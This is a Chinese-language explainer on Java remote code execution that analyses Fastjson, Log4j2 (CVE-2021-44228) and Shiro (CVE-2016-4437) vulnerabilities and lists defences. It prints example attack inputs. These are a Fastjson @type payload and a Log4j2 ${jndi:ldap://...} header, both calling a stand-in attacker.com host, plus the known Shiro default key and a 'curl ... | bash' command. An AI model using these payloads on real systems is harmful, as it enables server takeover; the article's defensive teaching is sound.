本文目录导读:

- 核心概念:Java RCE的常见触发点
- 经典案例一:Fastjson反序列化RCE
- 经典案例二:Log4j2 JNDI注入RCE(CVE-2021-44228)
- 经典案例三:Shiro反序列化RCE(Apache Shiro 1.2.4)
这是一个关于Java远程代码执行(RCE)案例的详细分析,RCE漏洞是Java安全中最严重的漏洞类型之一,攻击者可以利用它直接在服务器上执行任意命令。
本文将介绍几个经典的Java RCE案例,分析其原理,并提供防御措施。
核心概念:Java RCE的常见触发点
Java RCE通常发生在以下几个环节,攻击者能够将恶意输入(序列化数据、表达式、模板代码等)注入到Java的某些敏感API中:
- 反序列化:最经典、影响最广的方式,Java对象序列化后,在反序列化时,如果类路径中存在特定的“Gadget链”(一系列可利用的类),攻击者可以构造恶意序列化数据,触发任意代码执行。
- 表达式注入:如使用
ScriptEngine(Nashorn, JavaScript等)、EL表达式、OGNL表达式等,如果对用户输入未加限制,可直接执行代码。 - 模板注入:使用
FreeMarker、Velocity等模板引擎时,如果用户能控制模板内容或部分参数,可注入恶意指令。 - 反序列化/类型混淆:如Fastjson、Jackson等JSON库在反序列化时,如果开启了
autoType或类似功能,攻击者可以指定任意类进行实例化,导致RCE。 - JNDI注入:通常与反序列化结合使用,通过控制JNDI(Java命名和目录接口)查询的地址,指向攻击者控制的恶意RMI/LDAP服务器,加载远程恶意类。
经典案例一:Fastjson反序列化RCE
Fastjson是一个广泛使用的Java JSON库,其RCE漏洞是近年来影响最大的安全事件之一。
-
漏洞编号:多种,Fastjson 1.2.24 及之前的版本。
-
原理:
- Fastjson 在反序列化JSON字符串时,支持指定
@type字段。 - 当
@type指定的类存在于目标应用类路径中,且该类实现了特定的Gadget链(如JdbcRowSetImpl)时,Fastjson 会尝试创建该类的实例。 JdbcRowSetImpl的setAutoCommit方法会触发JNDI查询。- 攻击者可以控制JNDI查询的地址(通过JSON中的
dataSourceName字段),指向一个恶意的RMI服务器。 - 恶意RMI服务器返回一个远程引用,指向攻击者控制的恶意类。
- 目标应用从远程加载并执行该恶意类,导致RCE。
- Fastjson 在反序列化JSON字符串时,支持指定
-
攻击步骤示例:
- 攻击者在外部启动一个恶意的RMI服务器,监听某个端口(如
1099)。 - 修改RMI服务器,使其在接收到客户端的JNDI查询时,返回一个远程类引用,该类中包含执行系统命令的代码(如
Runtime.getRuntime().exec())。 - 构造恶意JSON:
{ "name": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://attacker.com:1099/evil", "autoCommit": true } } - 将这个JSON发送给目标服务(通过HTTP请求、消息队列等方式)。
- 目标Fastjson处理该JSON,创建
JdbcRowSetImpl对象,连接攻击者的RMI服务器,下载并执行恶意类。
- 攻击者在外部启动一个恶意的RMI服务器,监听某个端口(如
-
影响:允许攻击者在目标服务器上执行任意系统命令。
经典案例二:Log4j2 JNDI注入RCE(CVE-2021-44228)
虽然Log4j不是一个RCE漏洞的直接触发点,但它作为一个日志框架,允许日志消息中包含JNDI查询,从而间接导致了当时最严重的RCE漏洞之一。
-
漏洞编号:CVE-2021-44228。
-
原理:
- Log4j2 支持
Lookup机制,可以在日志消息中使用 语法,${java:version}、${env:HOME}。 - 关键的是,它支持
${jndi:ldap://...}这种格式,允许进行JNDI查询。 - 当应用记录用户可控的输入(如HTTP请求的
User-Agent、X-Forwarded-For等header)时,如果该输入中包含${jndi:ldap://attacker.com/evil},Log4j2 会尝试去执行这个JNDI查询。 - 攻击者控制一个恶意的LDAP服务器,响应这个查询,返回一个指向攻击者控制的远程Java类的引用。
- 目标应用从远程加载并执行这个恶意类,导致RCE。
- Log4j2 支持
-
攻击步骤:
- 攻击者搭建一个恶意LDAP服务器,监听端口(如
1389)。 - 构造恶意字符串,
User-Agent: ${jndi:ldap://attacker.com:1389/evil}。 - 将该HTTP请求发送给目标服务。
- 目标应用的Log4j2记录了这个
User-Agent,尝试解析${jndi:...}。 - Log4j2 向攻击者的LDAP服务器发起JNDI查询。
- LDAP服务器返回一个远程类加载地址。
- 目标应用加载并执行恶意类。
- 注意:这里攻击者不仅限于HTTP header,任何能被Log4j2记录且包含用户输入的字段(如请求参数、表单数据、JSON内容)都是攻击面。
- 攻击者搭建一个恶意LDAP服务器,监听端口(如
-
影响:全球范围内大量使用Log4j2的应用遭受影响,从企业级应用到云服务。
经典案例三:Shiro反序列化RCE(Apache Shiro 1.2.4)
Apache Shiro是一个流行的Java安全框架,其早期的某些版本存在一个经典的反序列化漏洞。
-
漏洞编号:CVE-2016-4437。
-
原理:
- Shiro 使用
AES-128-CBC加密算法对rememberMeCookie 进行加密。 - 加密密钥是硬编码在代码中的(可以从Shiro的类库中获取,甚至在某些公开的版本中是已知的,如
kPH+bIxk5D2deZiIxcaaaA==)。 - 解密后的
rememberMe值是一个Java序列化对象。 - Shiro 在解密后,会直接对这个序列化数据进行反序列化操作。
- 攻击者知道了硬编码密钥,就可以构造一个恶意的序列化对象(包含了攻击者想要执行的恶意命令)。
- 攻击者将这个恶意序列化对象加密,设置到
rememberMeCookie中发送给服务器。 - Shiro 解密Cookie,然后反序列化,触发Gadget链,执行攻击者的命令。
- Shiro 使用
-
攻击步骤:
- 攻击者获取Shiro应用的硬编码密钥(通过信息收集或已知默认密钥)。
- 攻击者利用工具(如
ysoserial)生成一个包含恶意命令的Java序列化对象,例如执行curl http://attacker.com/evil.sh | bash。 - 攻击者使用硬编码密钥对生成的序列化数据进行AES加密。
- 将加密后的数据设置为HTTP请求的
rememberMeCookie。 - 发送请求给目标Shiro应用。
- Shiro 解密Cookie,然后反序列化,执行恶意命令。
-
影响:允许攻击者在Shiro应用所在的服务器上执行任意命令。
防御Java RCE需要多管齐下:
-
防止反序列化漏洞:
- 升级依赖:保持所有依赖库(Fastjson、Jackson、Shiro、Log4j2等)更新到最新版本。
- 输入验证:严格验证用户输入,避免将用户输入直接传递给反序列化函数,绝对不要反序列化来自不可信源的数据。
- 禁用危险功能:在Fastjson中禁用
autoType,或使用白名单;在Log4j2中禁用JNDI Lookup(通过设置log4j2.formatMsgNoLookups=true)。
-
防止表达式/模板注入:
- 沙箱执行:如果必须执行用户提供的表达式或模板,使用严格的沙箱环境(如Java的
SecurityManager,但实际应用较少)。 - 输入过滤:对用户输入进行严格的过滤,过滤掉可能导致代码执行的语法(如、
T(...)等)。 - 避免用户控制模板:不要允许用户直接定义模板,只允许用户提供模板参数。
- 沙箱执行:如果必须执行用户提供的表达式或模板,使用严格的沙箱环境(如Java的
-
防止JNDI注入:
- 升级JDK:升级到高版本JDK(JDK 8u121+、JDK 11.0.1+等),这些版本默认限制了通过JNDI加载远程类。
- 禁用JNDI Lookup:在Log4j2等受影响框架中,显式禁用JNDI Lookup功能。
- 网络隔离:限制应用服务器的出站网络连接,使其只能访问受信任的DNS和特定的外部服务。
-
通用安全实践:
- 最小权限原则:运行Java应用的进程尽量使用低权限用户,避免以root/管理员身份运行。
- Web应用防火墙(WAF):使用WAF检测并拦截常见的攻击载荷(如JSON中的
@type、Log4j2的${jndi:...}、Shiro的AES加密Cookie等)。 - 代码审计:对核心的序列化、反序列化、表达式执行、模板渲染代码进行安全审计。
- 安全测试:定期进行渗透测试和漏洞扫描。
Java RCE漏洞虽然种类繁多,但其根本原因往往是不安全的依赖、输入验证不严或对用户输入施加了过多的信任,通过理解这些经典案例的原理和攻击步骤,开发者可以更有针对性地实施防御措施,有效降低应用遭受RCE攻击的风险。